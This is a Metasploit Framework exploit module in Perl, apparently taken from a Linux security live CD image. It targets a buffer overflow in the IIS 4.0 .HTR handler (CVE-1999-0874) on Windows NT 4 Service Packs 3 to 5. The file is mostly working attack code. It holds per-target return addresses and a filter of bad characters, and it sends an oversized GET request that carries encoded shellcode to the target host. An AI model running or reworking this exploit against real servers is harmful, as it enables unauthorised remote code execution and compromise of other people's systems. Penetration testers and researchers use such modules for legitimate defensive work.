home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis40_htr.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  121 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis40_htr;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'IIS 4.0 .HTR Buffer Overflow',
  20.     'Version'  => '$Revision: 1.7 $',
  21.     'Authors' => [ 'Stinko', ],
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'winnt' ],
  24.     'Priv'  => 0,
  25.  
  26.     'UserOpts'  =>
  27.       {
  28.         'RHOST' => [1, 'ADDR', 'The target address'],
  29.         'RPORT' => [1, 'PORT', 'The target port', 80],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Payload' =>
  34.       {
  35.         'Space'  => 2048,
  36.         'MaxNops' => 0,
  37.         'MinNops' => 0,
  38.         'BadChars'  =>
  39.           join("", map { $_=chr($_) } (0x00 .. 0x2f)).
  40.           join("", map { $_=chr($_) } (0x3a .. 0x40)).
  41.           join("", map { $_=chr($_) } (0x5b .. 0x60)).
  42.           join("", map { $_=chr($_) } (0x7b .. 0xff)),
  43.       },
  44.  
  45.     'Description'  => Pex::Text::Freeform(qq{
  46.         This exploits a buffer overflow in the ISAPI ISM.DLL used
  47.         to process HTR scripting in IIS 4.0. This module works against
  48.         Windows NT 4 Service Packs  3, 4, and 5. The server will continue
  49.         to process requests until the payload being executed has exited.
  50.         If you've set EXITFUNC to 'seh', the server will continue processing
  51.         requests, but you will have trouble terminating a bind shell. If you
  52.         set EXITFUNC to thread, the server will crash upon exit of the bind
  53.         shell. The payload is alpha-numerically encoded without a NOP sled
  54.         because otherwise the data gets mangled by the filters.
  55. }),
  56.  
  57.     'Refs'  =>
  58.       [
  59.         ['OSVDB', '3325'],
  60.         ['BID', '307'],
  61.         ['CVE', '1999-0874'],
  62.         ['URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
  63.         ['MIL', '26'],
  64.  
  65.       ],
  66.  
  67.     'DefaultTarget' => 0,
  68.     'Targets' => [
  69.         ['Windows NT4 SP3', 593, 0x77f81a4d],
  70.         ['Windows NT4 SP4', 593, 0x77f7635d],
  71.         ['Windows NT4 SP5', 589, 0x77f76385],
  72.       ],
  73.  
  74.     'Keys' => ['iis'],
  75.  
  76.     'DisclosureDate' => 'Apr 10 2002',
  77.   };
  78.  
  79. sub new {
  80.     my $class = shift;
  81.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  82.     return($self);
  83. }
  84.  
  85. sub Exploit
  86. {
  87.     my $self = shift;
  88.     my $target_host = $self->GetVar('RHOST');
  89.     my $target_port = $self->GetVar('RPORT');
  90.     my $target_idx  = $self->GetVar('TARGET');
  91.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  92.  
  93.     my $target = $self->Targets->[$target_idx];
  94.  
  95.     my $pattern = ("X" x $target->[1]);
  96.     $pattern .= pack("V", $target->[2]);
  97.     $pattern .= $shellcode;
  98.  
  99.     my $request = "GET /" . $pattern . ".htr HTTP/1.0\r\n\r\n";
  100.  
  101.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp eax at 0x%.8x...", $target->[2]));
  102.  
  103.     my $s = Msf::Socket::Tcp->new
  104.       (
  105.         'PeerAddr'  => $target_host,
  106.         'PeerPort'  => $target_port,
  107.         'LocalPort' => $self->GetVar('CPORT'),
  108.         'SSL'       => $self->GetVar('SSL'),
  109.       );
  110.     if ($s->IsError) {
  111.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  112.         return;
  113.     }
  114.  
  115.     $s->Send($request);
  116.     $s->Close();
  117.     return;
  118. }
  119.  
  120. 1;
  121.